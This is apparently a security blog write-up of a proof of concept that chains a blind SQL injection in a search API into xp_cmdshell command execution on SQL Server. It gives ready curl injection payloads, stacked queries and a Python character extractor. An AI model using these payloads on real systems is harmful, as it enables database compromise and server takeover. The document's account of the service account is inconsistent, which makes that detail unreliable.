Complete Exploitation Chain & Proof of Concept

Executive Summary

This technical blog documents a CRITICAL Boolean-based blind SQL injection vulnerability discovered in a web application’s search API. Through careful exploitation, we demonstrate a complete attack chain from initial vulnerability detection through remote code execution (RCE) with sysadmin privileges.

Severity: CVSS 9.8 (CRITICAL)
Attack Type: SQL Injection → Privilege Escalation → RCE
Impact: Complete database compromise, system command execution, data exfiltration
Phase 1: Initial Reconnaissance & Vulnerability Detection
Step 1: Baseline Testing

Before attempting any exploitation, we establish a baseline by querying the vulnerable search endpoint with legitimate input.

curl -s “http://target/api/orders/search?search=Acme”

Response: Returns 1 result matching “A…p”
Step 2: Boolean Condition Testing

We inject a SQL condition that evaluates to TRUE using URL-encoded single quote injection:

curl -s “http://target/api/orders/search?search=x%27%20OR%201=1%20--%20"

Response: Returns 3 results (all records in database)
Step 3: False Condition Testing

We test the inverse condition to confirm the boolean oracle works correctly:

curl -s “http://target/api/orders/search?search=x%27%20OR%201=2%20--%20"

Response: Returns 0 results

Why this confirms blind SQLi:

`OR 1=2` is always FALSE

TRUE condition: 315 bytes, 3 records returned

FALSE condition: 75 bytes, 0 records returned.

240-byte delta = reliable content-length oracle for data extraction

Different response sizes allow character-by-character extraction

Enter fullscreen mode Exit fullscreen mode

Phase 2: Privilege Enumeration
Step 4: Extract Database Metadata

CHARACTER-BY-CHARACTER EXTRACTION (CORE BLIND SQLi)

...
def _extract_char(self, query: str, pos: int) -> str:
"""
Binary-search for a single character at position 'pos'
Uses UNICODE() to convert character to ASCII value (1-65535)
Then narrows down using binary search (fast extraction)
"""
lo, hi = 1, 0xFFFF # Start: ASCII range 1 to 65535

while lo < hi:
    mid = (lo + hi) // 2  # Calculate midpoint

    # Create SQLi condition: UNICODE(char) > midpoint?
    # If TRUE: character is in upper half, search higher
    # If FALSE: character is in lower half, search lower
    if self.oracle(f"UNICODE(SUBSTRING(({query}),{pos},1)) > {mid}"):
        lo = mid + 1  # Character is > mid, search upper half
    else:
        hi = mid      # Character is <= mid, search lower half

return chr(lo)  # Convert final ASCII value back to character

Enter fullscreen mode Exit fullscreen mode

...

We enumerate the database to understand the environment:

python3 sqli.py  — query “DB_NAME()”

Output: O…ment

python3 sqli.py  — query “@@version

Output: Microsoft SQL Server 2025 (RTM) — 17.0.1000.7 (X64) \n\tOct 21 2025 12:05:57 \n\tCopyright © 2025 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows 10 Pro 10.0 <X64> (Build 26200: ) (Hypervisor)

python3 sqli.py - query "@@SERVERNAME"

Output: A…RESS

Why enumerate before RCE:

Understand target environment

Confirm SQL Server version

Identify service account context

Plan command execution strategy

Verify xp_cmdshell availability

Enter fullscreen mode Exit fullscreen mode

Step 5: Sysadmin Privilege Check

Before attempting command execution, we verify the current SQL Server user has administrative privileges:

curl -s “http://target/api/orders/search?search=x%27%20OR%20IS_SRVROLEMEMBER%28%27sysadmin%27%29%3D1%20--%20" | wc -c

Response: 315 bytes (TRUE)

Why this check is critical:

`IS_SRVROLEMEMBER(‘sysadmin’)=1` checks if user is sysadmin

- TRUE response (315 bytes) = user has sysadmin privileges

- Without sysadmin, xp_cmdshell operations will fail

- This determines if we can proceed with RCE phase

Enter fullscreen mode Exit fullscreen mode

Phase 3: Command Execution & Data Exfiltration
Step 6: Enable xp_cmdshell (Via SQLi Injection)

We enable xp_cmdshell remotely using stacked SQL injection commands through curl:

Step 1: Enable advanced options via SQLi

curl -s "http://target/api/orders/search?search=x%27%29%3B%20EXEC%20sp_configure%20%27show%20advanced%20options%27%2C1%3B%20RECONFIGURE%3B%20--"

Step 2: Enable xp_cmdshell via SQLi

curl -s "http://target/api/orders/search?search=x%27%29%3B%20EXEC%20sp_configure%20%27xp_cmdshell%27%2C1%3B%20RECONFIGURE%3B%20--"

Step 3: Verify enabled via blind SQLi

curl -s "http://target/api/orders/search?search=x%27%20OR%20%28SELECT%20value_in_use%20FROM%20sys.configurations%20WHERE%20name%3D%27xp_cmdshell%27%29%3D1%20--%20" | wc -c

Response changed from 75 bytes (disabled) to 315 bytes (enabled)

Why this stacked SQLi approach works:

x') closes the WHERE clause context

Stacked queries execute multiple SQL statements in sequence via HTTP

EXEC sp_configure commands run with sysadmin privileges

No direct database access needed — all done remotely via curl

Response size oracle confirms success (315 bytes = TRUE = enabled)

show advanced options must be enabled first (security gate)

xp_cmdshell is disabled by default (security hardening)

RECONFIGURE applies changes immediately through SQLi

Enter fullscreen mode Exit fullscreen mode

Step 7: Execute System Commands (Via SQLi)

Commands are executed entirely through SQL injection, no direct shell access:

Execute whoami and save output to accessible file

curl -s "http://target/api/orders/search?search=x%27%29%3BEXEC%20xp_cmdshell%20%27C%3A%5CWindows%5CSystem32%5Cwhoami.exe%20%3E%20C%3A%5CSQLData%5Cwhoami.txt%27--%20"

Command breakdown:

x') closes the WHERE clause from the vulnerable search parameter

EXEC xp_cmdshell executes OS command via SQL Server extended stored procedure

Full paths to executables (C:\Windows\System32\whoami.exe) ensure they execute

> redirects command output to file on server filesystem

-- comments out remaining query

All execution happens remotely through HTTP requests only

Enter fullscreen mode Exit fullscreen mode

Why command redirection to file is critical:

xp_cmdshell output cannot be directly returned via HTTP response

Redirecting to file (> C:\SQLData\filename.txt) saves output for extraction

File must be in directory with SQL Server write permissions

File content retrieved in next step via OPENROWSET SQLi

Commands run with SQL Server service account privileges (NT AUTHORITY\NETWORK SERVICE)

No interactive shell needed — output captured and exfiltrated

Enter fullscreen mode Exit fullscreen mode

Step 8: Extract Command Output (Via Blind SQLi)

File contents are read back using OPENROWSET and character-by-character blind extraction:

bash

python3 sqli.py --query "SELECT CAST(BulkColumn AS VARCHAR(MAX)) FROM OPENROWSET(BULK 'C:\SQLData\whoami.txt', SINGLE_CLOB) AS x(BulkColumn)"

Final extracted data: nt service\mssqlexpress\n

Output extracted via binary search:

[1/29] 'n' resp= 315 bytes n
[2/29] 't' resp= 315 bytes nt
[3/29] '\' resp= 315 bytes nt\
...
[29/29] '\n' resp= 315 bytes nt service\mssqlexpress\n

Why OPENROWSET extraction works:

OPENROWSET(BULK ...) reads file contents into SQL result set

SINGLE_CLOB treats entire file as one text column

SQL query result can be extracted via blind SQLi oracle

Binary search finds each character’s ASCII value using UNICODE()

Response size (315 bytes = TRUE, 75 bytes = FALSE) indicates correct character

Character-by-character extraction bypasses output restrictions

Works entirely remotely through HTTP requests

Enter fullscreen mode Exit fullscreen mode

Key Achievement: 100% Remote Attack

No direct database access needed

No shell access to server required

Entire attack chain through HTTP requests only

Sysadmin privileges escalated via SQLi

System commands executed and output exfiltrated via database queries

Enter fullscreen mode Exit fullscreen mode

Complete Attack Chain Summary

  1. Initial Reconnaissance
    └─ Baseline query: search=Acme → 1 result

  2. Vulnerability Detection

    ├─ Boolean TRUE: x' OR 1=1 -- → 3 results (315 bytes)
    ├─ Boolean FALSE: x' OR 1=2 -- → 0 results (75 bytes)
    └─ Oracle delta: 240 bytes ✓

  3. Privilege Enumeration
    ├─ IS_SRVROLEMEMBER('sysadmin')=1 → TRUE ✓
    └─ Confirmed: User has admin privileges

  4. Enable Command Execution
    ├─ sp_configure 'show advanced options', 1
    ├─ sp_configure 'xp_cmdshell', 1
    └─ Verified: xp_cmdshell now enabled (315 bytes)

  5. Remote Code Execution
    ├─ EXEC xp_cmdshell 'whoami.exe > C:\SQLData\whoami.txt'
    ├─ EXEC xp_cmdshell 'hostname.exe > C:\SQLData\hostname.txt'

    └─ EXEC xp_cmdshell 'ipconfig.exe > C:\SQLData\ipconfig.txt'

  6. Data Exfiltration
    ├─ SELECT ... FROM OPENROWSET(BULK 'C:\SQLData\whoami.txt', ...)
    ├─ Binary-search character extraction
    └─ Output: NT AUTHORITY\NETWORK SERVICE

Conclusion

This proof of concept demonstrates how a seemingly simple SQL injection vulnerability can escalate to complete system compromise when combined with:

Boolean-based data extraction techniques

Privileged SQL Server accounts

Enabled dangerous features (xp_cmdshell)

File access capabilities (OPENROWSET)

Enter fullscreen mode Exit fullscreen mode

The attack chain is entirely database-driven, requiring only HTTP access to the vulnerable API and no direct command-line access. This highlights the critical importance of secure coding practices, particularly parameterized queries and privilege minimization in database applications.

Disclaimer: This POC is for authorized security testing only. Unauthorized access to computer systems is illegal.
Authors

Abdulrahman Aldossary, Saleh Alghmdi
Date: July 30, 2026
Classification: Security Research